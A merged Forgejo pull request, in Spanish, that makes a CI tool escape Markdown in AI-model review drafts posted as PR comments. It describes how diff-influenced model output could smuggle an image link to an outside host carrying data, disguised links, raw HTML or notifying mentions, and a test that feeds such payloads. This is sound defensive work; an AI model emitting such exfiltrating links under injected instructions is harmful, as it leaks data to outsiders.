fix: el borrador escapa el Markdown que no escribimos #9

Merged
julio.caicedo merged 1 commit from fix/borrador-sin-markdown-ajeno into main 2026-10-23 12:40:34 +00:00

Desde #8 el borrador se publica como comentario en el PR, y Forgejo lo renderiza. Lo que dicen los modelos está influido por el diff, así que podía traer:

  • ![](https://afuera/?datos): una imagen que el navegador de cada lector pide al abrir el PR;
  • enlaces disfrazados, HTML crudo, @menciones que notifican a gente.

safe() solo neutralizaba los comandos del runner (::). Ahora:

  • prose() escapa todas las marcas de Markdown del texto ajeno (título de la tarea, hallazgo, criterio, cita, motivo, modelos, errores). Mete un espacio de ancho cero en @ y en ://, porque el escape no frena las menciones ni los enlaces automáticos. Se lee igual, pero como texto plano.
  • code() para la ruta del archivo, que va dentro de un bloque de código: cambia las comillas invertidas para que no pueda cerrarlo antes de tiempo.

TestDraftIsInertMarkdown arma un hallazgo con imagen, <img>, <script>, enlace, mención y una comilla invertida en la ruta, y comprueba que nada se renderiza pero que el texto sigue ahí.

🤖 Generated with Claude Code

Desde #8 el borrador se publica como comentario en el PR, y Forgejo lo renderiza. Lo que dicen los modelos está influido por el diff, así que podía traer: - `![](https://afuera/?datos)`: una imagen que el navegador de cada lector pide al abrir el PR; - enlaces disfrazados, HTML crudo, `@menciones` que notifican a gente. `safe()` solo neutralizaba los comandos del runner (`::`). Ahora: - **`prose()`** escapa todas las marcas de Markdown del texto ajeno (título de la tarea, hallazgo, criterio, cita, motivo, modelos, errores). Mete un espacio de ancho cero en `@` y en `://`, porque el escape no frena las menciones ni los enlaces automáticos. Se lee igual, pero como texto plano. - **`code()`** para la ruta del archivo, que va dentro de un bloque de código: cambia las comillas invertidas para que no pueda cerrarlo antes de tiempo. `TestDraftIsInertMarkdown` arma un hallazgo con imagen, `<img>`, `<script>`, enlace, mención y una comilla invertida en la ruta, y comprueba que nada se renderiza pero que el texto sigue ahí. 🤖 Generated with [Claude Code](https://claude.com/claude-code)
fix: el borrador escapa el Markdown que no escribimos
All checks were successful
Go / Test (pull_request) Successful in 34s
1d29f6a292
Ahora el borrador se publica en el PR y Forgejo lo renderiza. Un modelo
guiado por el diff podía devolver una imagen que el navegador de cada
lector pide, un enlace disfrazado, HTML o menciones. Todo el texto ajeno
se escapa y se lee igual, pero como texto plano.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
julio.caicedo deleted branch fix/borrador-sin-markdown-ajeno 2026-10-23 12:40:34 +00:00
Sign in to join this conversation.
No reviewers
No labels
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
startcodex/ci!9
No description provided.